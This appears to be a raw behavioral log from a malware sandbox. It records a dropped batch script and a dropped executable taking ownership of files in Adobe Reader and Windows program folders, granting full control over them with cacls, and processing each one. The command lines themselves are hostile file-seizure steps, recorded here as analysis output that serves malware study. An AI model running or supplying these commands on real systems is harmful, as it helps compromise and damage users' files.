C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "forms_distributed.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "forms_distributed.gif" -nobanner5⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif" /E /G Admin:F /C4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "jnwmon.dll.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "jnwmon.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\es-ES\NBMapTIP.dll.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\es-ES\NBMapTIP.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\es-ES\NBMapTIP.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "NBMapTIP.dll.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\it-IT\jnwdui.dll.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\jnwdui.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\jnwdui.dll.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\ja-JP\MSPVWCTL.DLL.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\ja-JP\MSPVWCTL.DLL.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\ja-JP\MSPVWCTL.DLL.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\Templates\Memo.jtp""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Memo.jtp"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Memo.jtp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Memo.jtp" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Memo.jtp" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\es-ES\msoeres.dll.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Mail\es-ES\msoeres.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\es-ES\msoeres.dll.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "msoeres.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ZX______.PFB" -nobanner5⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\WinMail.exe""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Mail\WinMail.exe"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\ImagingDevices.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "reviewers.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "reviewers.gif" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "server_lg.gif" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "server_lg.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "turnOnNotificationInTray.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "turnOnNotificationInTray.gif" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Workflow.Targets" -nobanner5⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif"3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MinionPro-Bold.otf" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "MinionPro-Bold.otf" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "zy______.pfm" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "zy______.pfm" -nobanner4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm"3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "brt.fca" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "brt.fca" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\eng.hyp"3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "eng.hyp" -nobanner3⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Mail\es-ES\WinMail.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\es-ES\WinMail.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\es-ES\WinMail.exe.mui"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "WinMail.exe.mui" -nobanner4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\fr-FR\PDIALOG.exe.mui" /E /G Admin:F /C5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\fr-FR\PDIALOG.exe.mui"5⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PDIALOG.exe.mui" -nobanner5⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PDIALOG.exe.mui" -nobanner6⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Adobe\zdingbat.txt""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\de-DE\jnwdui.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\de-DE\jnwdui.dll.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\de-DE\jnwdui.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "jnwdui.dll.mui" -nobanner3⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "jnwdui.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\en-US\MSPVWCTL.DLL.mui""2⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MSPVWCTL.DLL.mui" -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\en-US\MSPVWCTL.DLL.mui"3⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\it-IT\Journal.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\it-IT\Journal.exe.mui" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\it-IT\Journal.exe.mui"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Journal.exe.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\Templates\Music.jtp""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Journal\Templates\Music.jtp" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "Music.jtp" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "Music.jtp" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Journal\Templates\Music.jtp"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini"3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "eula.ini" -nobanner3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\eula.ini" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Mail\fr-FR\msoeres.dll.mui""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\ja-JP\PDIALOG.exe.mui""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files\Windows Journal\fr-FR\JNTFiltr.dll.mui""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc""2⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp" /E /G Admin:F /C4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "AcroSign.prc" -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif""2⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif""2⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif"3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT" /E /G Admin:F /C4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "reviews_sent.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "reviews_sent.gif" -nobanner4⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif" /E /G Admin:F /C3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "ROMANIAN.TXT" -nobanner4⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif""2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "stop_collection_data.gif" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula "stop_collection_data.gif" -nobanner4⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif"3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "ReadMe.htm" -nobanner3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm"3⤵
- Modifies file permissions
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\G4Aw1EPS.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf" /E /G Admin:F /C3⤵
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf"3⤵
-
C:\Users\Admin\AppData\Local\Temp\UCHMnGpZ.exeUCHMnGpZ.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c UCHMnGpZ.exe -accepteula "MinionPro-It.otf" -nobanner3⤵
-
